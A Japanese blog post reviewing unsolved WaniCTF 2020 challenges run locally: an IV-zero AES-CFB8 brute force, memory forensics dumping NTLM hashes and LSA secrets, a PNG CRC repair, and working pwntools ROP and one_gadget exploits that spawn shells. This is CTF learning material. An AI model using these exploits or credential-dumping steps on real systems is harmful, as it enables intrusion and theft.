好奇心の足跡

飽きっぽくすぐ他のことをしてしまうので、忘れないため・形にして頭に残すための備忘録。

WaniCTF 2020 復習

もう2ヶ月以上前の話になってしまいましたが、11月21-23日の三連休で開催されていた、WaniCTF 2020の解けなかった問題、ちゃんと復習したよ!報告。
私のwriteupと戦績はこちら。

tech.kusuwada.com

競技終了からちょっと時間があいてしまいましたが、作問者想定writeupとともに問題が公開されているのでとても親切!

github.com

docker-composeを含んだ問題サーバーのソース・スクリプトも同梱してあるので、どのジャンルの問題も手軽にlocalで動かして攻撃を試してみることができそう。

どの問題も本当に丁寧・親切に作られているし、作問者writeupもかなり丁寧に書かれているので、是非一度やってみるのをおすすめします!

[Crypto] l0g0n [Very hard]

🕵️‍♂️

nc l0g0n.wanictf.org 50002

Writer : Laika

server.pyが配布されます。

from hashlib import pbkdf2_hmac
import os

from Crypto.Cipher import AES

from secret import flag, psk


class AES_CFB8:
    def __init__(self, key):
        self.block_size = 16
        self.cipher = AES.new(key, AES.MODE_ECB)

    def encrypt(self, plaintext: bytes, iv=bytes(16)):
        iv_plaintext = iv + plaintext
        ciphertext = bytearray()

        for i in range(len(plaintext)):
            X = self.cipher.encrypt(iv_plaintext[i : i + self.block_size])[0]
            Y = plaintext[i]
            ciphertext.append(X ^ Y)
        return bytes(ciphertext)


def key_derivation_function(x):
    dk = pbkdf2_hmac("sha256", x, os.urandom(16), 100000)
    return dk


def main():
    while True:
        client_challenge = input("Challenge (hex) > ")
        client_challenge = bytes.fromhex(client_challenge)

        server_challenge = os.urandom(8)
        print(f"Server challenge: {server_challenge.hex()}")

        session_key = key_derivation_function(psk + client_challenge + server_challenge)

        client_credential = input("Credential (hex) > ")
        client_credential = bytes.fromhex(client_credential)

        cipher = AES_CFB8(session_key)
        server_credential = cipher.encrypt(client_challenge)
        if client_credential == server_credential:
            print(f"OK! {flag}")
        else:
            print("Authentication Failed... 🥺")


if __name__ == "__main__":
    main()
  1. clientからchallengeコードを受け取る
  2. serverのchallengeコードを生成・表示(ランダム)
  3. session_keyの作成
  4. psk(imported) + client_challenge + server_challenge
  5. clientのcredentialを受け取る
  6. 3で生成したsession_keyをkeyに、AES暗号モジュールを生成
  7. server_credentialを上記の暗号モジュールとclient_challangeから生成
  8. 4と6が一致すればflagを表示

AESは、ECBモードを使っているのでここが脆弱ポイントかな?
更に、初期ベクトルivに設定される値は、encrypt時に値を指定しなければdefaultでゼロになってしまう。

def encrypt(self, plaintext: bytes, iv=bytes(16)):

(ivのdefault値はこうなる↓)

b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

今回 encrypt 使用時に iv は指定されていないので、ivは常に0。
あれ、これ最近のzerologon脆弱性(iv=0に固定されていた)のオマージュ的な問題かな?

importされているpskが不明、かつserver_challengeもランダムで不明なので、session_keyは推測したり目的のものを作らせるのが難しそう。

となると、上記のencrypt関数の不備を利用して、client_challengeに特定の値を入れることで、出力のserver_credentiialを何とか出来ないだろうか。

server_credential = cipher.encrypt(client_challenge)

client_challengeにb'\x00'*8を突っ込み続けてFLAG{になるようにpskを推測してみる?ブルートフォース?

ここまでが競技期間中の記録(というか独り言)。

ドメインコントローラーがのっとられる脆弱性 Zerologon(CVE-2020-1472)についてまとめてみた - piyolog

これに関連する問題だと思ったので解きたかったんだけど、全然時間足りなかった…(꒪⌓꒪)
piyokangoさんのこのブログからkrenaifさんの解説動画にリンクが貼ってあるんだな!びっくり!

まずは、CTF環境をコードから立ち上げてみます。

$ git clone git@github.com:wani-hackase/wanictf2020-writeup.git
$ cd wanictf2020-writeup/crypto/l0g0n/src
$ docker build -t l0g0n:local .
$ docker run -d -p 50002:50002 l0g0n:local

立ち上がったっぽいので、下記コマンドでアクセスしてみます。

$ nc localhost 50002
Challenge (hex) > 00000000
Server challenge: 7d0361f714727fcc
Credential (hex) > 00000000
Authentication Failed... 🥺

環境は再現できた!めっちゃかんたん!ここまで整備して配布していただいてありがたい!

作問者writeupと、いつもお世話になっている 暗号技術入門04 ブロック暗号のモード〜ブロック暗号をどのように繰り返すのか〜 | SpiriteK Blog の CFB(Cipher FeedBack)モード の章を眺めて理解。

方針は間違っていなかったようで、ivが0固定であることから、client_challengeに0を入れるとserver_credentialが一定の確率でb'\x00'*8になるというロジックだった。
この一定の確率というのが、下記AES_CFBBクラスのencrypt関数にて

def encrypt(self, plaintext: bytes, iv=bytes(16)):
    iv_plaintext = iv + plaintext
    ciphertext = bytearray()

    for i in range(len(plaintext)):
        X = self.cipher.encrypt(iv_plaintext[i : i + self.block_size])[0]
        Y = plaintext[i]
        ciphertext.append(X ^ Y)
    return bytes(ciphertext)

Yplaintext(=client_challenge)b'\x00'*8固定なので常にb'\x00'iv_plaintextb'\x00'*8固定のivとb'\x00'*8で突っ込むclient_challengeなので、常にb'\x00'*16。全部0。
Xの計算を見てみると、iが変化していくにつれてiv_plaintextのどこを切り取って暗号モジュールに突っ込むかが変化するわけだけども、iv_plaintextが0ベクトル固定になるので、Xの計算結果は常に同じになる。
ということは、Xb'\x00' になったとき、同じくX xor Y0で、返却されるciphertext(=server_credential)b'\x00'*8となり、予測可能な値になる。

あとはベクトルXの先頭がb'\x00になるまで文字通りチャレンジし続ける。(b'\x00~b'\xffの値を取りうるので、確率としては1/256)

from pwn import *

host = 'localhost'
port = 50002

r = remote(host, port)
cnt = 0
while True:
    cnt += 1
    print(cnt)
    r.recvuntil(b'Challenge (hex) > ')
    r.sendline(b'00000000')  # client_challenge
    r.recvuntil(b'Credential (hex) > ')
    r.sendline(b'00000000')  # server_credential
    res = r.recvuntil(b'\n')
    print(res)
    if b'Authentication Failed...' not in res:
        print(res)
        print(r.recv())

実行結果

$ python solve.py 
[+] Opening connection to localhost on port 50002: Done
1
b'Authentication Failed... \xf0\x9f\xa5\xba\n'
2
b'Authentication Failed... \xf0\x9f\xa5\xba\n'
3
b'Authentication Failed... \xf0\x9f\xa5\xba\n'
4
b'Authentication Failed... \xf0\x9f\xa5\xba\n'
5
b'Authentication Failed... \xf0\x9f\xa5\xba\n'
6
b'Authentication Failed... \xf0\x9f\xa5\xba\n'
7
b'Authentication Failed... \xf0\x9f\xa5\xba\n'
8
b'Authentication Failed... \xf0\x9f\xa5\xba\n'
9
b'Authentication Failed... \xf0\x9f\xa5\xba\n'
10
b"OK! b'FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}'\n"
b"OK! b'FLAG{4_b@d_IV_leads_t0_CVSS_10.0__z3r01090n}'\n"
b'Challenge (hex) > '

競技中もclient_challengeを00000000で攻めるのやってみてたけど、1/256の確率とか、そういうところ全然考えられてなくて、とりあえず0送ってみよ!って感じだったので、何度も投げてみるのはしなかったなぁ。
ちゃんと理論から解説していただけて有り難い!

[Forensics] ALLIGATOR_03 [Hard]

Dr.WANIはいつも同じパスワードを使うらしいです。

Dr.WANIのパソコンから入手したパス付のzipファイルを開けて、博士の秘密を暴いてしまいましょう。

(ALLIGATOR_01で配布されているファイルを使ってください)

Writer : takushooo

$ unzip wani_secret.zip 
Archive:  wani_secret.zip
   creating: wani_secret/
[wani_secret.zip] wani_secret/flag.txt password: 
   skipping: wani_secret/flag.txt    incorrect password

お、このzipにワニ博士がよく使うパスワードが使われているんですね!なるほど。

メモリフォレンジックCTF「MemLabs」Lab1のWriteUp: NECセキュリティブログ | NEC

こちらのサイトに、vilatilityを用いたパスワード取得方法が載っていたので試したところ

$  volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 hashdump
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
IEUser:1000:aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
sshd_server:1002:aad3b435b51404eeaad3b435b51404ee:8d0a16cfc061c3359db455d00ec27035:::
ALLIGATOR:1003:aad3b435b51404eeaad3b435b51404ee:5e7a211fee4f7249f9db23e4a07d7590:::

Hashまでは取れました。これはNTLMハッシュというものらしい。ここからもとに戻せるのか…?

ここまで想定解と一緒だったけど、戻せなかったんだよなー。

john the ripperでntlm形式のハッシュをもとに戻す方法を調べてやってみたり

LM, NTLM, Net-NTLMv2, oh my!. A Pentester’s Guide to Windows Hashes | by Péter Gombos | Medium

他のコマンドを試してみたりしてたら2の想定解っぽいのを見つけたり。

$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
(割愛)
0x84a54ab0:csrss.exe                                 328    320      9    411 2020-10-26 19:00:23 UTC+0000
0x84b2fd20:audiodg.exe                           1008    768      6    122 2020-10-26 03:00:25 UTC+0000
0x8494c030:cmd.exe                                 3728   2964      1     19 2020-10-26 03:02:09 UTC+0000
0x84a22710:winlogon.exe                             2700   2656      3    107 2020-10-26 03:01:39 UTC+0000
0x84dd6b28:evil.exe                                3632   2964      1     21 2020-10-26 03:01:55 UTC+0000
0x83eb8d20:conhost.exe                             3736   2676      2     53 2020-10-26 03:02:09 UTC+0000

このあたりが気になる。 winlogon.exeのpid2700のメモリを覗いてみることに。

$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 consoles
Volatility Foundation Volatility Framework 2.6
**************************************************
ConsoleProcess: conhost.exe Pid: 336
Console: 0x4f81c0 CommandHistorySize: 50
HistoryBufferCount: 2 HistoryBufferMax: 4
OriginalTitle: C:\Program Files\OpenSSH\bin\cygrunsrv.exe
Title: C:\Program Files\OpenSSH\bin\cygrunsrv.exe
AttachedProcess: sshd.exe Pid: 856 Handle: 0x54
----
CommandHistory: 0xb0960 Application: sshd.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x54
----
CommandHistory: 0xb07f0 Application: cygrunsrv.exe Flags: 
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x0
----
Screen 0xc6098 X:80 Y:300
Dump:

**************************************************
ConsoleProcess: conhost.exe Pid: 3736
Console: 0x4f81c0 CommandHistorySize: 50
HistoryBufferCount: 1 HistoryBufferMax: 4
OriginalTitle: %SystemRoot%\system32\cmd.exe
Title: Administrator: C:\Windows\system32\cmd.exe
AttachedProcess: cmd.exe Pid: 3728 Handle: 0x5c
----
CommandHistory: 0x350440 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 1 LastAdded: 0 LastDisplayed: 0
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x5c
Cmd #0 at 0x3546d8: type C:\Users\ALLIGATOR\Desktop\flag.txt
----
Screen 0x3363b8 X:80 Y:300
Dump:
Microsoft Windows [Version 6.1.7601]                                            
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.                 
                                                                                
C:\Users\ALLIGATOR>type C:\Users\ALLIGATOR\Desktop\flag.txt                     
FLAG{y0u_4re_c0n50les_master}                                                   
C:\Users\ALLIGATOR>

これ02の想定解だな。

色々dumpしてみたり

$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 cmdline | grep evil.exe
$ volatility -f ALLIGATOR.raw --profile=Win7SP1x86_23418 lsadump
Volatility Foundation Volatility Framework 2.6
DefaultPassword
0x00000000  12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000010  50 00 61 00 73 00 73 00 77 00 30 00 72 00 64 00   P.a.s.s.w.0.r.d.
0x00000020  21 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   !...............

_SC_OpenSSHd
0x00000000  14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0x00000010  44 00 40 00 72 00 6a 00 33 00 33 00 6c 00 31 00   D.@.r.j.3.3.l.1.
0x00000020  6e 00 67 00 00 00 00 00 00 00 00 00 00 00 00 00   n.g.............

DPAPI_SYSTEM
0x00000000  2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ,...............
0x00000010  01 00 00 00 87 bb 00 13 2b 5e 4a 9a 7f 55 d0 8d   ........+^J..U..
0x00000020  d7 26 6c 9f b0 de 69 88 a7 13 3b e4 30 67 f7 a2   .&l...i...;.0g..
0x00000030  f1 09 98 76 c6 a3 2f cc f9 eb 90 df 00 00 00 00   ...v../.........

お!なんか出てきたぞ!と思って試してみた。
行けたと思ったけどどれも通らず時間切れ。

  • Passw0rd!
  • D@rj33l1ng

想定解法では、

john the ripperやhashcat、crackstationを利用してNTLM hashからパスワードを復元する。

とある。johnとhashcatが不発だったので、リンク付きで紹介されていたcrack stationで試してみる。

f:id:kusuwada:20210131063629p:plain

えー!一瞬で出た!悔しい!!!何故競技中に試さなかったのか。

ということで、passwordはilovewani

あとはzipをこのパスワードで解凍すればflag.txtが出てくる。

【正式名称】
大阪大学 公式マスコットキャラクター「ワニ博士」
【プロフィール】
名前:   ワニ博士(わにはかせ)
誕生日:    5 月 3 日
性別:   オス
出身地:    大阪府 豊中市 待兼山町
【性格】
温厚,好奇心旺盛,努力型,お茶目,社交的,たまに天然,賢い
【趣味】
・阪大キャンパスでコーヒーを飲みながら学生としゃべる
・粉もん屋めぐり
・化石集め。(いつか自分の仲間に会うために)
・CTF: FLAG{The_Machikane_Crocodylidae}

これは通したかったぞー!!!!

[Forensics] zero_size_png [Very hard]

この画像のサイズは本当に0×0ですか?

PNG イメージヘッダ(IHDR)

Writer : takushooo

dyson.pngが配布されます。

650kbもあるのでサイズゼロではないですね。これもchunk_eaterと同じ感じで修復を試みます。

$ pngcheck dyson.png 
dyson.png  invalid IHDR image dimensions (0x0)
ERROR: dyson.png

どうやらサイズを調節すればよさそう。適当な値をバイナリエディタで入れてみる。

f:id:kusuwada:20210131063754p:plain

0 x 0 -> 0x40 x 0x40 に変更してみた。

$ pngcheck -v dyson.png 
File: dyson.png (650046 bytes)
  chunk IHDR at offset 0x0000c, length 13
    64 x 64 image, 32-bit RGB+alpha, non-interlaced
  CRC error in chunk IHDR (computed aa6971de, expected b55951a1)
ERRORS DETECTED in dyson.png

CRCチェックで引っかかった様子。
画像を読み込んで、サイズのchunkを書き換えて、pngcheckをかけて、というのを総当りでやれば、どこかでERRORが出ない、もしくは次のERRORに変わるタイミングが来るのかな?

でも時間無いのでpass。なんか時短のやり方があるのかな?

ここまでが競技中のメモ。なんか時間がめっちゃかかる予感がして、これ以上手を出していなかったのでした。

想定解法を見てみると…

正しい縦横比を総当たりで探す。

あ、はい。

今回CRCチェックで引っかかったのは、IHDRチャンク。

ここのサイズが不明。このチャンクをまずは正しい値に直せばよく(他のチャンクも壊れている可能性があるため)、CRCには正しい値が入っているっぽい。バイナリ全体を読み込む&計算する必要はなく、このチャンクの情報だけで正しいサイズが(総当りで)計算できそう。

PNGのCRC計算方法はCRC32。binasciicrc32というライブラリが使えるらしい。
binascii --- バイナリデータと ASCII データとの間での変換 — Python 3.9.1 ドキュメント

CRCの計算はChunk TypeとChunk Dataを元にするらしいので、現在の情報整理。

Data byte Value(hex)
Chunk Type 4 49484452
Width 4 ?
Height 4 ?
Bit Depth 1 08
Color type 1 06
Compression method 1 00
Filter method 1 00
Interlace method 1 00
CRC 4 B55951A1

※ほとんど想定解と同じコードになっていますが

from binascii import crc32

correct_crc = int('B55951A1',16)

for h in range(2000):
    for w in range(2000):
        data = (
            b"\x49\x48\x44\x52"
            + w.to_bytes(4, byteorder="big")
            + h.to_bytes(4, byteorder="big")
            + b"\x08\x06\x00\x00\x00"
        )
        if crc32(data) & 0xffffffff == correct_crc:
            print("Width: ", end="")
            print(hex(w))
            print("Height :", end="")
            print(hex(h))
            exit()

実行結果

$ python solve.py 
Width: 0x257
Height :0x30d

すぐに結果が出た!これをバイナリエディタで書き込んであげると画像が見えるように。

f:id:kusuwada:20210131064138p:plain:w300

flagが下の方に書いてありました🙌

[Pwn] rop func call [Normal]

nc rop.wanictf.org 9006

x64の関数呼び出しと、Return Oriented Programming (ROP)を理解する必要があります。

x64の関数呼び出しでは第一引数がRDI、第二引数がRSI、第三引数がRDXに設定する必要があります。

pwntoolsを使わないと解くのは大変だと思います。

念のためpwntoolsのサンプルプログラム「pwn06_sample.py」を載せておきました。

Writer : saru

pwn06.c, pwn06, pwn06_sample.py が配布されます。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char str_head[] = "hello ";
char str_tail[] = "!\n";
char binsh[] = "/bin/sh";

void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);

void vuln()
{
    char name[10];
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    system("echo Welcome to rop function call!!!");
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
    unsigned long i;
    puts("\n***start stack dump***");
    i = rsp;
    while (i <= rbp + 32)
    {
        unsigned long *p;
        p = (unsigned long *)i;
        printf("0x%lx: 0x%016lx", i, *p);
        if (i == rsp)
        {
            printf(" <- rsp");
        }
        else if (i == rbp)
        {
            printf(" <- rbp");
        }
        else if (i == rbp + 8)
        {
            printf(" <- return address");
        }
        printf("\n");
        i += 8;
    }
    puts("***end stack dump***\n");
}

sample.py

import pwn

#io = pwn.remote("rop.wanictf.org", 9006)
io = pwn.process("./pwn06")

ret = io.readuntil("What's your name?: ")
print(ret)

addr = 0x0102030405
s = b"A" * 14
s += pwn.p64(addr)

print(s)

io.send(s)
io.interactive()

system("/bin/sh")みたいに呼び出すよう命令を積みたいなー、と、関数のアドレスを調べたり、ropに使えるpop gadget探したり、それを組んでみたりはしていたのだけど、割と雰囲気でいつもやってしまっているのと、x64系よくわかっていないのでflagは取れなかった。

saruさんによる想定解と解説がとても丁寧だったので、これを見ながら理解する。

今回の問題ではスタックでnameは22文字埋めると戻り番地に届くので

radare2で該当の関数vulnを確認。

|   sym.vuln ();
|           ; var int local_eh @ rbp-0xe

inputのnamelocal_ehに格納されそうなので、0xe + 0x8 (=22d)をbufferとして積むとreturnに届く。

次にropの積み方 @x64

x64の関数呼び出しでは第一引数がRDI、第二引数がRSI、第三引数がRDXに設定する必要があります。

とのことなので、CPU registerには

CPU register Value
rdi
rsi
r15(RDX)

こんな形で設定する必要がある。system関数のbin/shsystem("/bin/sh")の形で呼び出すと、shellが取れそう。

なので、system関数の呼び出し時に、CPU registerが

CPU register Value
rdi "/bin/sh"の格納先アドレス
rsi なんでも
r15(RDX) なんでも

になってるとよさそう。

各必要なアドレスはこの前の問題とかradare2とかobjdumpで確認。

RopGadget探し。radare2にて

[0x00400700]> /R pop
  0x00400756             4885c0  test rax, rax
  0x00400759               740d  je 0x400768
  0x0040075b                 5d  pop rbp
  0x0040075c         bf88106000  mov edi, 0x601088
  0x00400761               ffe0  jmp rax

(略)  
  
  0x00400a51                 5e  pop rsi
  0x00400a52               415f  pop r15
  0x00400a54                 c3  ret

  0x00400a53                 5f  pop rdi
  0x00400a54                 c3  ret

使えそうなのはこの2つ。

systemのアドレスは

[0x00400700]> afl
0x00400648    3 23           sym._init
...
0x004006b0    1 6            sym.imp.setbuf
0x004006c0    1 6            sym.imp.system
0x004006d0    1 6            sym.imp.printf
...
0x004007e7    1 179          sym.vuln
0x0040089a    2 38           main
0x004008c0    1 77           sym.init
(略)

なので0x004006c0

binshのアドレスは

$ objdump -t pwn06 | grep binsh
0000000000601080 g     O .data  0000000000000008              binsh

なので0x00601080

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

host = 'rop.wanictf.org'
port = 9006

e = ELF('pwn06')

binsh_addr = 0x00601080
system_addr = 0x004006c0
pop_rdi_addr = 0x00400a53
pop_rsi_r15_addr = 0x00400a51

def attack(payload):
    #r = remote(host, port)
    r = process('./pwn06')
    print(r.recvuntil(b"What's your name?:"))
    r.sendline(payload)
    res = r.recv()
    print(res)
    r.interactive()

buffer = 0xe + 8

payload = b'a' * buffer
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(pop_rsi_r15_addr)
payload += b'a' * 16
payload += p64(system_addr)
attack(payload)

これでshellは取れた👍

しかし、flagが取りたい。嬉しいことに、環境構築スクリプトも公開されているので、local環境にchallenge環境を再現する。今回はkaliで構築してみた。

  1. dockerのinstall (kali)
  2. docker-composeのinstall
  3. github repositoryのclone
  4. docker-compose up

3と4のコマンド掲載

$ git clone git@github.com:wani-hackase/wanictf2020-writeup.git
$ cd wanictf2020-writeup/pwn/06-rop-func-call/
$ docker-compose up --build

接続確認

$ nc localhost 9006
Welcome to rop function call!!!
What's your name?: 

これだけでlocalhostの9006ポートで動いてくれた🙌

あとは、これに対して攻撃コードをちょっと書き換えて実施。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

#host = 'rop.wanictf.org'
host = 'localhost'
port = 9006

e = ELF('pwn06')

binsh_addr = 0x00601080
system_addr = 0x004006c0
pop_rdi_addr = 0x00400a53
pop_rsi_r15_addr = 0x00400a51

def attack(payload):
    r = remote(host, port)
    #r = process('./pwn06')
    print(r.recvuntil(b"What's your name?:"))
    r.sendline(payload)
    res = r.recv()
    print(res)
    r.interactive()

buffer = 0xe + 8

payload = b'a' * buffer
payload += p64(pop_rdi_addr)
payload += p64(binsh_addr)
payload += p64(pop_rsi_r15_addr)
payload += b'a' * 16
payload += p64(system_addr)
attack(payload)

実行結果

$ python solve.py 
[*] '/root/ctf/wani/pwn06'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to localhost on port 9006: Done
b"Welcome to rop function call!!!\nWhat's your name?:"
b' '
[*] Switching to interactive mode
hello aaaaaaaaaaG!

***start stack dump***
0x7ffd331e4970: 0x6161616161610000 <- rsp
0x7ffd331e4978: 0x0000004761616161
0x7ffd331e4980: 0x6161616161616161 <- rbp
0x7ffd331e4988: 0x0000000000400a53 <- return address
0x7ffd331e4990: 0x0000000000601080
0x7ffd331e4998: 0x0000000000400a51
0x7ffd331e49a0: 0x6161616161616161
***end stack dump***

$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{learning-rop-and-x64-system-call}

flag取れたーー!!!!!!٩(๑❛ᴗ❛๑)尸

[Pwn] one gadget rce [Hard]

nc rce.wanictf.org 9007

ROPを使ったlibcのロードアドレスのリークを理解する必要があります。 libc上にあるone gadget RCE (Remote Code Execution)の探し方と呼び出し方を理解する必要があります。

one_gadget libc-2.27.so

使用ツール例 * pwntools * objdump * ROPgadget * one_gadget

セキュリティ保護 * Partial RELocation ReadOnly (RELRO) * Stack Smash Protection (SSP)無効 * No eXecute bit(NX)有効 * Position Independent Executable (PIE)無効

Writer : saru

pwn07, pwn07.c, libc-2.27.so が配布されます。

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>

char str_head[] = "hello ";
char str_tail[] = "!\n";

void init();
void debug_stack_dump(unsigned long rsp, unsigned long rbp);

void vuln()
{
    char name[10];
    int ret;

    printf("What's your name?: ");
    ret = read(0, name, 0x100);
    name[ret - 1] = 0;

    write(0, str_head, strlen(str_head));
    write(0, name, strlen(name));
    write(0, str_tail, strlen(str_tail));

    { //for learning stack
        register unsigned long rsp asm("rsp");
        register unsigned long rbp asm("rbp");
        debug_stack_dump(rsp, rbp);
    }
}

int main()
{
    init();
    puts("Welcome to one-gadget RCE!!!");
    while (1)
    {
        vuln();
    }
}

void init()
{
    alarm(30);
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

void debug_stack_dump(unsigned long rsp, unsigned long rbp)
{
    unsigned long i;
    puts("\n***start stack dump***");
    i = rsp;
    while (i <= rbp + 32)
    {
        unsigned long *p;
        p = (unsigned long *)i;
        printf("0x%lx: 0x%016lx", i, *p);
        if (i == rsp)
        {
            printf(" <- rsp");
        }
        else if (i == rbp)
        {
            printf(" <- rbp");
        }
        else if (i == rbp + 8)
        {
            printf(" <- return address");
        }
        printf("\n");
        i += 8;
    }
    puts("***end stack dump***\n");
}

とりあえず one_gadget を使ってlibcから使えるgadgetを収集してみる。

$ gem install one_gadget
$ one_gadget libc-2.27.so
0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

3つ見つかった。どれかが使えるはず。
ここで競技中は終わってしまっていた。時間足りんかったんかな。

localでの環境再現は、一つ前の rop func call と同じ。

$ cd wanictf2020-writeup/pwn/07-one-gadget-rce/
$ docker-compose up --build

これで立ち上がるので、接続確認。

$ nc localhost 9007
Welcome to one-gadget RCE!!!
What's your name?:

👍 今回もlocalで構築した環境のflagを取るのを目標にします。

作問者writeupと、過去に解いた SECCON for Beginners CTF 2019 [Pwnable] BabyHeap を見ながら考えます。

vuln()関数は rop func call と同じ。ある程度 さっきの問題のexploit code がそのまま使えそう。
違いは、"\bin\sh"が提供されていないこと。なので、one-gadgetを用いてexecve("/bin/sh", hoge, hogee)を実行してくれるアドレスを探し、system("\bin\sh")の代わりにこれを実行してもらう。

まずはpop gadget探し。radare2でさっきと同様に

[0x004006c0]> /R pop
  0x004006e0                 5a  pop rdx
  0x004006e1             084000  or byte [rax], al
  0x004006e4       ff1506092000  call qword [rip + 0x200906]
...(中略)
  0x00400a11                 5e  pop rsi
  0x00400a12               415f  pop r15
  0x00400a14                 c3  ret

  0x00400a13                 5f  pop rdi
  0x00400a14                 c3  ret

rop gadget を発見。

one_gadgetで発見したアドレスはlibc_baseからの相対アドレスなので、まずはlibc_baseの実行時のアドレスを取得します。 今回はgot@write関数を使います(上記過去問と揃えた)。got@writeには、実際に実行されるwrite関数のアドレスが描いてあるので、これを表示させる作戦。
先程はreturnを上書きするときにsystem("\bin\sh")を呼び出すのを目標としていましたが、今度はputs(got@write)を呼び出すように組んでみます。
その後にプログラム開始のアドレスを入れることで、上記の処理が終わったあとにもう一度プログラムを走らせ、同じ要領で one_gadget で得られたアドレスに飛ばしてexecve("/bin/sh", hoge, hoge)を実行させます。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *

#host = 'rce.wanictf.org'
host = 'localhost'
port = 9007

elf = ELF('./pwn07')
libc = ELF('./libc-2.27.so')

pop_rdi_addr = 0x00400a13
pop_rsi_r15_addr = 0x00400a11
one_gadget_addr = 0x010a41c

r = remote(host, port)
#r = process('./pwn07')

buffer = 0xe + 8

# get lib_base_addr
payload = b'a' * buffer
payload += p64(pop_rdi_addr)
payload += p64(elf.got['write'])  # writeのaddrがregisterに登録される
payload += p64(elf.plt['puts'])   # putsが引数 write_addr で呼び出される
payload += p64(elf.symbols['_start'])  # プログラムを再度実行するため先頭に戻す

print(r.recvuntil(b"What's your name?:"))
r.sendline(payload)
r.recv()  # blank
r.recv()  # hello
res = r.recv()  # stack dump, address, welcome
write_addr = int.from_bytes(res.split(b'\n')[12], byteorder='little')
print('write_addr: ' + hex(write_addr))
libc_base_addr = write_addr - libc.symbols['write']
print('libc_base: ' + hex(libc_base_addr))

# get shell
payload = b'a' * buffer
payload += p64(libc_base_addr + one_gadget_addr)
r.sendline(payload)

r.interactive()

実行結果

$ python solve07.py 
...(中略)...
[+] Opening connection to localhost on port 9007: Done
b"Welcome to one-gadget RCE!!!\nWhat's your name?:"
write_addr: 0x7f215bc4d210
libc_base: 0x7f215bb3d000
[*] Switching to interactive mode
hello aaaaaaaaaa\x1f

...(中略)...

$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
FLAG{mem0ry-1eak-4nd-0ne-gadget-rem0te-ce}

やほほーい🙌🚩

[Pwn] heap [Very hard]

nc heap.wanictf.org 9008

これが作問者の現在の限界です。

セキュリティ保護 * Partial RELocation ReadOnly (RELRO) * Stack Smash Protection (SSP)有効 * No eXecute bit(NX)有効 * Position Independent Executable (PIE)無効

libc-2.27.so, pwn08が配布されます。

おぉぉぉー!tcache-poisoningだ!(githubでは問題の管理タイトルがtcache-poisoningになってた)
これは問題の回収すら間に合わずに終わってしまっていました。
ソースコード(.c)の配布は無かったのかな?

せっかく復習で時間がたっぷりあるので、色々つついて挙動を確認してみます。

localで前の問題と同じように環境を構築し、サービス(challenge)を動かしてみます。

$ cd 08-tcache-poisoning/
$ docker-compose up --build

接続してみる。

$ nc localhost 9008
Welcome to memo application!!!
1: add memo
2: edit memo
3: view memo
9: del memo
command?: 

よし!動いた!docker-composeまで用意してくれると、本当に環境構築しやすくて有り難い。

つついてみると、下記のような機能。あまり解けたことはないが、heap問題でよくでてくる機能だ。

  • add: indexを指定してメモを作成
  • edit: 上記で作ったメモを編集
  • view: メモを一覧 -> 作成していないindexを指定すると落ちる
  • del: メモを削除

editで、addの時指定したサイズよりかなり大きな値を入れると、次のindexの領域まで書かれる。size=1でindex0を作成した時は、a*33 でindex1の領域にも書かれた。

f:id:kusuwada:20210131065422p:plain:h250

その状態で index0 を del しても、 index1 の領域に書かれたデータはそのままっぽい。

f:id:kusuwada:20210131065507p:plain:h200

